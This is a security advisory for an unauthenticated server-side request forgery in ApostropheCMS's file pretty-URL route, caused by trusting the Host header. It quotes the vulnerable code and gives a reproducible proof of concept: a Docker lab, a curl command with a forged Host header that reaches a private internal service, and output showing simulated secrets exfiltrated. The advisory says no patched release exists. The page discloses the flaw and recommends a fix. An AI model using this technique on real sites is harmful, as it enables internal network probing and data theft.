Skip to content

Unauthenticated SSRF in @apostrophecms/file pretty-URL via Host header

Low
boutell published GHSA-34pj-2622-jvxq Jun 11, 2026

Package

npm apostrophe (npm)

Affected versions

<= 4.30.0

Patched versions

None

Description

Summary

When prettyUrls: true is enabled on @apostrophecms/file (a documented SEO
feature for serving uploaded files at clean URLs), the public pretty-URL
handler builds the upstream URL using the raw Host HTTP request header:

proxyUrl = `${req.protocol}://${req.get('host')}${uglyUrl}`

That URL is then fetch'ed and the response body + headers are streamed
straight back to the requester. Because Host is fully attacker-controlled,
an unauthenticated remote attacker can pivot the apostrophe process to
issue outbound HTTP requests against any host it can reach on the private
network. The path component is constrained to
/uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup),
which keeps the impact narrow: cross-instance data exfiltration is
neutralised by cuid uniqueness, but blind-SSRF residuals remain
(network-topology mapping via response-code / timing differences and
verbose proxy/WAF 404 body disclosure). Verified on apostrophe@4.30.0
(latest); no fixed release exists.

  • Affected: apostrophe <= 4.30.0 when @apostrophecms/file is
    configured with prettyUrls: true and uploadfs is local (the default;
    S3/CDN deployments produce an absolute uglyUrl and are not affected).
  • CWE: CWE-918
  • CVSS v3.1:AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N3.7 Low. AC:H because
    meaningful info disclosure requires a specific target shape (verbose
    WAF / proxy 404, banner disclosure, or exploitable response-code /
    timing side channels). C:L captures the residual info-disclosure
    surface (banner / network mapping). Path constraint plus cuid
    uniqueness rules out the cross-instance / cloud-metadata
    exfiltration cases.

Details

modules/@apostrophecms/file/index.js (excerpt; the public GET route
registered when prettyUrls: true):

if (!self.options.prettyUrls) return;
return {
  get: {
    async [`${self.options.prettyUrlDir}/*`](req, res) {
      const matches = (req.params[0] || '').match(/^([^.]+)\.\w+$/);
      if (!matches) return res.status(400).send('invalid');
      const [ , slug ] = matches;
      if (slug.includes('..') || slug.includes('/')) {
        return res.status(403).send('forbidden');
      }
      const file = await self.find(req, {
        slug: `${self.options.slugPrefix}${slug}`
      }).toObject();
      if (!file) return res.status(404).send('not found');

      const uglyUrl = self.apos.attachment.url(file.attachment, { prettyUrl: false });
      const proxyUrl = uglyUrl.startsWith('/')
        ? `${req.protocol}://${req.get('host')}${uglyUrl}`   // <-- sink
        : uglyUrl;
      return await streamProxy(req, proxyUrl, { error: self.apos.util.error });
    }
  }
};

lib/stream-proxy.js (excerpt):

module.exports = async function(req, url, { error }) {
  const res = req.res;
  if (url.startsWith('/')) url = `${req.baseUrl}${url}`;
  let response;
  try { response = await fetch(url); }       // <-- attacker-steered fetch
  catch (e) { return send502(e); }
  for (const header of ['content-type','etag','last-modified','content-disposition','cache-control']) {
    const v = response.headers.get(header);
    if (v != null) res.header(header, v);
  }
  res.status(response.status);
  response.body.pipeTo(new WritableStream({ write(c){ res.write(c) }, close(){ res.end() }, ... }));
};

req.get('host') returns the unvalidated Host HTTP header from the request.
Express does not validate or restrict it, and apostrophe does not check the
constructed proxyUrl against an allowlist. The upstream's body and
content-type are forwarded verbatim — so any response the targeted host does
return at the constrained path will reach the attacker. In practice the path
constraint (/uploads/attachments/<cuid>-<slug>.<ext>) and cuid uniqueness
mean meaningful body exfiltration only occurs against verbose-404 / banner-
leaky proxies; against most internal services this degenerates to blind
SSRF (response-code + timing side channels).

Prerequisites are minimal: prettyUrls: true (a documented production SEO
option) + at least one file uploaded with a known slug. Slugs are publicly
enumerable in normal CMS use (file URLs appear in page content).

Distinct from the only published apostrophe SSRF advisory,
GHSA-pr28-mf3q-qpg6
("Authenticated SSRF in rich-text widget import via
@apostrophecms/area validate-widget"), which is authenticated and lives in a
completely different module/route. This finding is unauthenticated, in
@apostrophecms/file, via the Host header.

PoC

Three services on an isolated Docker network: mongo, internal (returns a
fake secret, never exposed to the host), apos:3000 (the only port the
host can reach). The host attacker proves it cannot reach internal
directly, then exfiltrates internal's response via one crafted request to
apos.

app.js (normal apostrophe site, documented option only):

require('apostrophe')({
  shortName: 'apos-ssrf-poc',
  autoBuild: false,
  modules: {
    '@apostrophecms/express': { options: { session: { secret: 'x' }, port: 3000 } },
    '@apostrophecms/db': { options: { uri: process.env.APOS_MONGODB_URI } },
    '@apostrophecms/asset': { options: { autoBuild: false, publicBundle: false, watch: false, hmr: false } },
    '@apostrophecms/file': { options: { prettyUrls: true, prettyUrlDir: '/files' } },
    'poc-seed': {}   // seeds one file doc on boot (= what an admin does via the upload UI)
  }
});

docker-compose.yml:

services:
  mongo: { image: mongo:7, networks: [poc] }
  internal:
    image: python:3.12-slim
    command: ["python","-c","import http.server,socketserver\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200);self.send_header('content-type','text/plain');self.end_headers()\n        self.wfile.write(b'INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2\\n')\nsocketserver.TCPServer(('0.0.0.0',80),H).serve_forever()"]
    networks: [poc]
  apos:
    build: .
    environment: { APOS_MONGODB_URI: mongodb://mongo:27017/apos-ssrf-poc }
    depends_on: [mongo, internal]
    ports: ["3000:3000"]
    networks: [poc]
networks: { poc: { driver: bridge } }

exploit.sh (unauthenticated attacker on the host):

# 1. Prove the internal target is not reachable from the host
curl --max-time 2 -s http://internal/ || echo "(unreachable, as expected)"

# 2. ATTACK: same pretty URL, attacker-supplied Host header
curl -sS -H 'Host: internal' "http://127.0.0.1:3000/files/poc.pdf"

Build & run:

docker compose build && docker compose up -d && ./exploit.sh

Observed output (apostrophe@4.30.0, clean stack):

[probe] confirm the internal target is NOT reachable from the host:
curl: (6) Could not resolve host: internal
[normal] same pretty URL, normal Host header (Host: apos):
HTTP=502 bytes=49 content-type=text/html; charset=utf-8
upstream media error fetching data for pretty URL

[ATTACK] pretty URL with attacker-supplied Host header pointing at the private 'internal' service:
HTTP=200 bytes=64 content-type=text/plain; charset=utf-8
[ATTACK] response body received by the attacker:
INTERNAL_SECRET=AKIA_simulated_aws_key_REDACTED;DB_PASS=hunter2

RESULT: VULNERABLE — unauthenticated attacker exfiltrated private internal data via apostrophe's @apostrophecms/file pretty-URL SSRF (Host-header injection).

The internal service is unreachable from the host, but apostrophe fetches
it on the attacker's behalf and pipes the response body — secret included —
straight back over the same HTTP response.

Impact

Unauthenticated remote SSRF, but the path component is constrained to
/uploads/attachments/<cuid>-<slug>.<ext> (built from a local-DB lookup
on a slug the attacker already had to know). That constraint plus cuid
uniqueness rules out the cases I originally listed:

  • Cloud metadata is not reachable — AWS IMDS
    (/latest/meta-data/...), GCP (/computeMetadata/v1/...), and Azure
    (/metadata/...) all live at fixed paths that don't overlap with
    /uploads/attachments/.... Same for Redis admin, Elasticsearch, and
    most internal API surfaces.
  • Cross-instance data exfiltration is also ruled out. For an
    internal target (another apos instance, MinIO bucket, etc.) to serve
    a body at this path, it would need the exact local cuid + slug, which
    realistically only happens when the target restored / shares the
    public site's data — in which case the same content is reachable via
    the front door anyway. Apostrophe also won't construct a pretty URL
    for archived / restricted media, closing the older-snapshot edge case.

What remains is blind-SSRF residual:

  • Network-topology mapping via response-code or response-time
    differences across internal hosts.
  • Banner / version disclosure from verbose reverse-proxy or WAF 404
    bodies.
  • Bypassing network egress controls — outbound requests originate from
    the apostrophe server rather than the attacker.

The attack requires only the public pretty-URL endpoint and one
publicly-known file slug, both trivially available in normal CMS
operation.

Recommended fix

Stop deriving the upstream URL from the request Host header. Two
complementary changes:

  1. In modules/@apostrophecms/file/index.js (the lines that build
    proxyUrl), use a server-trusted absolute base URL (e.g., apos.baseUrl
    or the configured site URL) instead of req.get('host'):

    const proxyUrl = uglyUrl.startsWith('/')
      ? `${self.apos.baseUrl || req.baseUrl}${uglyUrl}`
      : uglyUrl;
  2. In lib/stream-proxy.js, enforce a strict origin allowlist (the
    configured apostrophe base URL + any configured CDN host) before calling
    fetch. Defence in depth: future callers of streamProxy cannot
    accidentally reintroduce the gap.

A regression test that sets Host: 169.254.169.254 (or any non-configured
host) on /files/<slug>.<ext> and asserts the upstream fetch is not
issued / the response is a 4xx would lock this down.

References

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE ID

CVE-2026-53607

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits